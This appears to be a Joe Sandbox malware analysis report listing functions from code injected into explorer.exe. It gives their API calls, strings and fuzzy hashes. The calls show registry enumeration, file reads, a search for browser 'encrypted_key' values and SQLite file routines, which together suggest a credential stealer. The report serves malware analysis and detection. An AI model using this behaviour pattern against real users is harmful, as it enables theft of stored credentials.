RegCloseKey.KERNELBASE(?), ref: 030F4AD4

Strings

Software, xrefs: 030F4A95
%s\%08x, xrefs: 030F4A9C

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: Heap$AllocateCloseCreateProcesswsprintf
String ID: %s\%08x$Software
API String ID: 1800864259-1658101971
Opcode ID: d7a3ed9f40f7c41930e51c1cb7472be0792dc9109f1257cb5ca89a07beed3a25
Instruction ID: 1cdc2d72eb666babc8ed3c29c31776733e09c23dbd0bcc73650de4dca7436aa2
Opcode Fuzzy Hash: d7a3ed9f40f7c41930e51c1cb7472be0792dc9109f1257cb5ca89a07beed3a25
Instruction Fuzzy Hash: 3C01D475601208BFDB18DB55DC4ADBF77ADEB49658B40016EFA05A3101D7B15D409670

Function 030F4317 Relevance: 7.6, APIs: 5, Instructions: 64registryCOMMON

Download Yara Rule

APIs

_alloca_probe.NTDLL ref: 030F431C
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 030F4335
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 030F4363
RegCloseKey.ADVAPI32(?), ref: 030F43C8

Part of subcall function 030F1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030F2F0C), ref: 030F1973
Part of subcall function 030F1953: lstrlenW.KERNEL32(03146564,?,?,030F2F0C), ref: 030F1978
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,?,?,?,030F2F0C), ref: 030F1990
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,03146564,?,?,030F2F0C), ref: 030F1994

Part of subcall function 030F418A: wsprintfW.USER32 ref: 030F4212

Part of subcall function 030F1011: GetProcessHeap.KERNEL32(00000000,00000000,?,030F1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2), ref: 030F1020
Part of subcall function 030F1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1027

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 030F43B9

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$CloseFreeOpenProcess_alloca_probewsprintf
String ID:
API String ID: 801677237-0
Opcode ID: 3ad4647d9620ffcc9cc969b831cb64ee1c0310214438b4e361dae9b02efc121a
Instruction ID: 75332f0c0a827f8a5bdd52b34be6ddfccce6168d74e8ceb4754d8b19ac9a373c
Opcode Fuzzy Hash: 3ad4647d9620ffcc9cc969b831cb64ee1c0310214438b4e361dae9b02efc121a
Instruction Fuzzy Hash: E91130B5108305BFE719EB11DC44DBB77EDEB88348F00462DB989D6150EB749D489A72

Function 030FB87B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202fileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 030FB8D5
CreateFileW.KERNELBASE(00000000,?,00000003,00000000,-00000003,?,00000000), ref: 030FB96F

Strings

psow, xrefs: 030FBA95
winOpen, xrefs: 030FBA22

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: CreateFilememset
String ID: psow$winOpen
API String ID: 2416746761-4101858489
Opcode ID: 939b37d3c2e05a0f662c47917759a2bb1442501ed4202e3912c0bf0d137052c0
Instruction ID: 821935a1cba5ca134ebefc3883ff0473d6d7108d8adead10bb61aa2164a57269
Opcode Fuzzy Hash: 939b37d3c2e05a0f662c47917759a2bb1442501ed4202e3912c0bf0d137052c0
Instruction Fuzzy Hash: 12719F71A0A706AFC750DF28C88075ABBE4FF88724F044A2DFA649B680D775D954CF92

Function 03159247 Relevance: 6.3, APIs: 4, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2734028069.0000000003157000.00000040.80000000.00040000.00000000.sdmp, Offset: 03157000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3157000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7ace883b1ee7f75617c8ccaa082c5bd808de063bf2191c76e602b520c42f1f
Instruction ID: 69a360c98480e74d5631bb8efc402d29ee9dd0487abfa1ddb5e7dcfd3937caa5
Opcode Fuzzy Hash: 0a7ace883b1ee7f75617c8ccaa082c5bd808de063bf2191c76e602b520c42f1f
Instruction Fuzzy Hash: C7A15C72914352DFD721CF78CDC06A0BBA5EB0A225B1C06ADEDF18B2C2E7605806C752

Function 030F19E5 Relevance: 6.1, APIs: 4, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1A1E
RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030F1A3C
RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030F1A75
RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1A98

Part of subcall function 030F1011: GetProcessHeap.KERNEL32(00000000,00000000,?,030F1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2), ref: 030F1020
Part of subcall function 030F1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1027

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: HeapQueryValue$CloseFreeOpenProcess
String ID:
API String ID: 217796345-0
Opcode ID: f63c1d6e70016b756ec0cf4aa5790cacd585fc86c74db15cad5f2a3aae498f05
Instruction ID: 926e4de4c4c5f0d731e0d9a1d6a2e96a413c850fab2fb49c1bd8cd53b2da7dc9
Opcode Fuzzy Hash: f63c1d6e70016b756ec0cf4aa5790cacd585fc86c74db15cad5f2a3aae498f05
Instruction Fuzzy Hash: 3321917620A341EFE72CCA21DD04F7BB7EDEBC9758F080A2DFA8592540E725C940C661

Function 030F1EC1 Relevance: 6.1, APIs: 4, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?), ref: 030F1ED5

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 030F1F0C
RegCloseKey.ADVAPI32(?), ref: 030F1F98

Part of subcall function 030F1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030F2F0C), ref: 030F1973
Part of subcall function 030F1953: lstrlenW.KERNEL32(03146564,?,?,030F2F0C), ref: 030F1978
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,?,?,?,030F2F0C), ref: 030F1990
Part of subcall function 030F1953: lstrcatW.KERNEL32(00000000,03146564,?,?,030F2F0C), ref: 030F1994

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 030F1F82

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$AllocateCloseOpenProcess
String ID:
API String ID: 1077800024-0
Opcode ID: be2cda677ce33cb7df3486072b11a9cfb5230879fa4f9d33bbc1ae1343612a76
Instruction ID: 0ca9451d42ef6558cddc04ebebb3934d75dbb0a6a3ffc562650414f4890d2ba6
Opcode Fuzzy Hash: be2cda677ce33cb7df3486072b11a9cfb5230879fa4f9d33bbc1ae1343612a76
Instruction Fuzzy Hash: C5218CB5208301BFD709AB21DC48E6BBBEDEFC9248F00892DF59992110DB75C9099B62

Function 030F1C31 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,030F3E1E,00000000,?,030F3FA8), ref: 030F1C46
GetFileSize.KERNEL32(00000000,00000000,00000000,?,030F3FA8), ref: 030F1C56
CloseHandle.KERNEL32(00000000,?,030F3FA8), ref: 030F1C91

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,030F3FA8), ref: 030F1C76

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: File$Heap$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 2517252058-0
Opcode ID: 2f0ea687330a9859a67345a59fe57f285fdb1022398b723746ac3c167913d3fa
Instruction ID: 6d2d39b1b2922da810cd1219a07a410597fec62cfcf9f1104a3749ffac4b0572
Opcode Fuzzy Hash: 2f0ea687330a9859a67345a59fe57f285fdb1022398b723746ac3c167913d3fa
Instruction Fuzzy Hash: 61F0A431201218BFD328AA26DC88E7B7A9CDB8B7F9B160719F61593180DB53584541B1

Function 030F2FB1 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,030F3E30,00000000,00000000,?,030F3FA8), ref: 030F2FC1
lstrlen.KERNEL32("encrypted_key":",?,030F3FA8), ref: 030F2FCE
StrStrIA.SHLWAPI("encrypted_key":",0314692C,?,030F3FA8), ref: 030F2FDD

Part of subcall function 030F190B: lstrlen.KERNEL32(?,?,?,?,00000000,030F2783), ref: 030F192B
Part of subcall function 030F190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,030F2783), ref: 030F1930
Part of subcall function 030F190B: lstrcat.KERNEL32(00000000,?), ref: 030F1946
Part of subcall function 030F190B: lstrcat.KERNEL32(00000000,00000000), ref: 030F194A

Strings

"encrypted_key":", xrefs: 030F2FBA, 030F2FBF, 030F2FCD, 030F2FDC

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID: "encrypted_key":"
API String ID: 493641738-877455259
Opcode ID: b9535b1f90f9dddd02e363a8de2548922e7c0b9eaeca70d5d6beeb2018999b56
Instruction ID: 97f3b176cc7b35a9c96b67bb910f82212a7ad3b214c571f9f181c6b70115dd72
Opcode Fuzzy Hash: b9535b1f90f9dddd02e363a8de2548922e7c0b9eaeca70d5d6beeb2018999b56
Instruction Fuzzy Hash: E2E0222A70BB245F83A9FBB51C4488BBE8C9F4F8193080078E30297102DF928445C2B0

Function 030FBAFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,00000000,?,readonly_shm,00000000,00000000,?,?,?), ref: 030FBB40

Strings

winDelete, xrefs: 030FBB6A

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID: winDelete
API String ID: 3188754299-3936022152
Opcode ID: 862f4603546df5e8fc508c22e54634385feca7477ae91e396b2dc39aba4540f3
Instruction ID: a2812ad57d8ff63f631b7e310e47b6ac900b5b786fea864012ea246f68103590
Opcode Fuzzy Hash: 862f4603546df5e8fc508c22e54634385feca7477ae91e396b2dc39aba4540f3
Instruction Fuzzy Hash: 04110835B02308EFDB11FB68C8409BD77B9DBC5761F144665EA06D7A88DB70C9028F51

Function 030F2EA5 Relevance: 4.5, APIs: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

Part of subcall function 030F1011: GetProcessHeap.KERNEL32(00000000,00000000,?,030F1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2), ref: 030F1020
Part of subcall function 030F1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1027

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 030F2EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 030F2F54
RegCloseKey.KERNELBASE(?), ref: 030F2F62

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocateCloseEnumFreeOpen
String ID:
API String ID: 1066184869-0
Opcode ID: 4f2123147260d238a0806588f96fa5f7390f648baa3c88cf2a23d162fcfa8888
Instruction ID: ebbafb748c341a866134e8fdca0faaee01bc0e4525e49796f5002313e918dd5c
Opcode Fuzzy Hash: 4f2123147260d238a0806588f96fa5f7390f648baa3c88cf2a23d162fcfa8888
Instruction Fuzzy Hash: 7101DF39206310AF8718EB22DC049AFBBADEFC9340B00042DFA0996144CB758845DBA1

Function 030F4B72 Relevance: 4.5, APIs: 3, Instructions: 8COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 030F4B74
CoUninitialize.COMBASE ref: 030F4B83
ExitProcess.KERNEL32 ref: 030F4B8B

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: ExitInitializeProcessUninitialize
String ID:
API String ID: 4175140541-0
Opcode ID: 991ff8dcda80e973b724f7e571ccc82daf3ce4986d9c29627b4323828bbd63b9
Instruction ID: 28c08399af6ff94ab45100a7deb07d9673dba08a1f52f9261e99ddb3dc097c5c
Opcode Fuzzy Hash: 991ff8dcda80e973b724f7e571ccc82daf3ce4986d9c29627b4323828bbd63b9
Instruction Fuzzy Hash: CCC09B3C3453015FE6C47BF15C0DB0A355CAF4DB1BF045100F705C9485DB544085C632

Function 030F9FC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00BD0000,00000000), ref: 030F9FF8

Strings

failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu, xrefs: 030FA00E

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: CreateHeap
String ID: failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu
API String ID: 10892065-982776804
Opcode ID: a484b6c9ff0338542cfc356d2ca460c4bde2ba3af027b8534ce8da8241affe8c
Instruction ID: 06d6df419f0b6e8e09c42423ab2a4e2063c52fdf5eb72635936b0bbd92e855e3
Opcode Fuzzy Hash: a484b6c9ff0338542cfc356d2ca460c4bde2ba3af027b8534ce8da8241affe8c
Instruction Fuzzy Hash: 3BF0F672746341BFEB32EA54AC88F6767DCD7C8B89F140829FB4996640E3706C408630

Function 030F1AFE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,030F2E83,PathToExe,00000000,00000000), ref: 030F1B16

Part of subcall function 030F1011: GetProcessHeap.KERNEL32(00000000,00000000,?,030F1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2), ref: 030F1020
Part of subcall function 030F1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1027

Part of subcall function 030F19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1A1E
Part of subcall function 030F19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030F1A3C
Part of subcall function 030F19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030F1A75
Part of subcall function 030F19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1A98

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 030F1B40

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: Heap$ProcessQueryValue$AllocateCloseFolderFreeOpenPath
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2162223993-2036018995
Opcode ID: 69d83fdaad9c585b860c69ef42ca2de5ac7216e2b2357624cc56275e51ed01b7
Instruction ID: eeb8ab52b5278a4a33e0ef87e5f1f027f921baa381718be21b1f40d56569038f
Opcode Fuzzy Hash: 69d83fdaad9c585b860c69ef42ca2de5ac7216e2b2357624cc56275e51ed01b7
Instruction Fuzzy Hash: 75F0B43B70174CEFDA19FA6BDC80E6B768ECBC62A630A0069F65997644EE136C015274

Function 030FA33B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 030FA35F

Strings

winSeekFile, xrefs: 030FA381

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: FilePointer
String ID: winSeekFile
API String ID: 973152223-3168307952
Opcode ID: 70466815c6aaad2ddd66c31cdb18902169b270edbac7e9ebf2dd38cf569fee21
Instruction ID: 17635924ff7f23ead3ee21f85e880b2d1a4abd1610fef21be711f862c88e351d
Opcode Fuzzy Hash: 70466815c6aaad2ddd66c31cdb18902169b270edbac7e9ebf2dd38cf569fee21
Instruction Fuzzy Hash: DCF09031715304AFDB12EF64DC00AAB77AEEB48321B148669BD75CA6C4DB70DD409AA0

Function 030F9EA7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(051F0000,00000000,?), ref: 030F9EB5

Strings

failed to HeapAlloc %u bytes (%lu), heap=%p, xrefs: 030F9ECD

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID: failed to HeapAlloc %u bytes (%lu), heap=%p
API String ID: 1279760036-667713680
Opcode ID: b4f0edd643aca22d0bb443568e3cc623249a94c72b3492faf0725f05239dbc5a
Instruction ID: 76d3add12e7f1f8f2d1dbdbbb33af2e5d1f10878aa99ce8219636d1419838fe4
Opcode Fuzzy Hash: b4f0edd643aca22d0bb443568e3cc623249a94c72b3492faf0725f05239dbc5a
Instruction Fuzzy Hash: 25E08C77644310BFCA136794AC04F6FB7689B98E50F050425FA10A6648C330985287B2

Function 030F9EE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(051F0000,00000000,?), ref: 030F9EF8

Strings

failed to HeapFree block %p (%lu), heap=%p, xrefs: 030F9F0E

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID: failed to HeapFree block %p (%lu), heap=%p
API String ID: 3298025750-4030396798
Opcode ID: 2b0b83a535700fa982d1e7ec3d6a5e1f95031ff60c28ebf8c08c06fccd37713a
Instruction ID: 18ebc91b530eae160b99d0879368bb8358058f23061e3dfb6a2bdc50e62865e5
Opcode Fuzzy Hash: 2b0b83a535700fa982d1e7ec3d6a5e1f95031ff60c28ebf8c08c06fccd37713a
Instruction Fuzzy Hash: 71D0127B109301FFD646AB549C05F2B777D9B99A00F490418F22495459D37050D9AB72

Function 030F1B6A Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030F2893,00000000,00000000,00000000,?), ref: 030F1B82
CloseHandle.KERNELBASE(00000000), ref: 030F1B8F

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: ca5ee7d1ba5ae5e1c089f020561a189782417fa9cc96f1aa28e6c9744c70cee1
Instruction ID: 13322649fde5a642ae51c4ec28af40e31d43f63d25705fd0a9cb4bcbd21b4170
Opcode Fuzzy Hash: ca5ee7d1ba5ae5e1c089f020561a189782417fa9cc96f1aa28e6c9744c70cee1
Instruction Fuzzy Hash: CDD0C275203230E6D6B962353C0CEA7AE4CDF035B5B480610B60CD54C4E310888781F0

Function 030F1011 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 030F1162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 030F116F

GetProcessHeap.KERNEL32(00000000,00000000,?,030F1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2), ref: 030F1020
RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030F1AE2,PortNumber,00000000,00000000), ref: 030F1027

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: ab0457cef0a5db8fc5b97c0cbc52fb997f196978a7a43cde0cc8b6363a42a5b7
Instruction ID: 7f048164292818705182d1f4a0b0b0671b2ba5027fd59a0acd201dfc4c0e1e40
Opcode Fuzzy Hash: ab0457cef0a5db8fc5b97c0cbc52fb997f196978a7a43cde0cc8b6363a42a5b7
Instruction Fuzzy Hash: 65C08C350023609BCAA877A4380CBCA2B08DF8E52AF080441B64197145CBA1888082B0

Function 030F1000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 5fe0835f14394d821bc9527e0586a4f4d690236ce3a6ed8165b207546da74c19
Instruction ID: 7ecefe66d7112e9d137efc56ee224e9fa861f40fd82609d4665411ea54bd1773
Opcode Fuzzy Hash: 5fe0835f14394d821bc9527e0586a4f4d690236ce3a6ed8165b207546da74c19
Instruction Fuzzy Hash: 04A002795502045BDD4877A49A0DA1A3518F7C9B0AF104554718586045DB6454448731

Function 030F12A3 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 030F12B5

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: dc19df8127c1519b878b9fe7ac53c56a870b415f72ba685b49028b7a53edef20
Instruction ID: 7ae18ad68ba866e38f64b0b834eb07008b004a2ca245f6a179f6613f29b93185
Opcode Fuzzy Hash: dc19df8127c1519b878b9fe7ac53c56a870b415f72ba685b49028b7a53edef20
Instruction Fuzzy Hash: CD1136B5A01209AFDB54EFE8E884ABEB7FCEB49611B040029FA45E3200D730D941CB70

Function 030F1B9D Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,030F2C8F,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 030F1BAA

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c901c166cca1bdd67d32091c819f4c6bbf360188ecbc187dbb018944d8f4acb9
Instruction ID: ddd91391a086215b3a61b55bf7c8a1f2b6005bc0334279084a92af4c26133682
Opcode Fuzzy Hash: c901c166cca1bdd67d32091c819f4c6bbf360188ecbc187dbb018944d8f4acb9
Instruction Fuzzy Hash: 67D0C933E17531CADAACA6787844896F6D06A4157931E07B4FE26F79D4E325CC8252D0

Function 030F1677 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 030F1684

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: b06a8da5a7ee1afb4de6c6150125568996fc4bd1c2cb38979827c351a2f331a4
Instruction ID: ddce6354b9f12bbf75cf00d70e1e21393541756593fc88c3102016b5d6789d27
Opcode Fuzzy Hash: b06a8da5a7ee1afb4de6c6150125568996fc4bd1c2cb38979827c351a2f331a4
Instruction Fuzzy Hash: A8C08030111131DFD7741A304C05B8535D49F0D7B2F060969F1C19D0C0D2F404C0C650

Function 030F104C Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,030F158A), ref: 030F1056

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6d67d87942ecf7645ab8637b74eb1643d3062ad5ba85c723784a578576f3dcb9
Instruction ID: cbb2d0bbae8623e96bd5b0b6ee39053500b2a31e2c5ac91f016a25325ada6787
Opcode Fuzzy Hash: 6d67d87942ecf7645ab8637b74eb1643d3062ad5ba85c723784a578576f3dcb9
Instruction Fuzzy Hash: 47A001B47953006AFE696762AE1BF1529289745B06F100244B309690C456E865408529

Function 030F105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

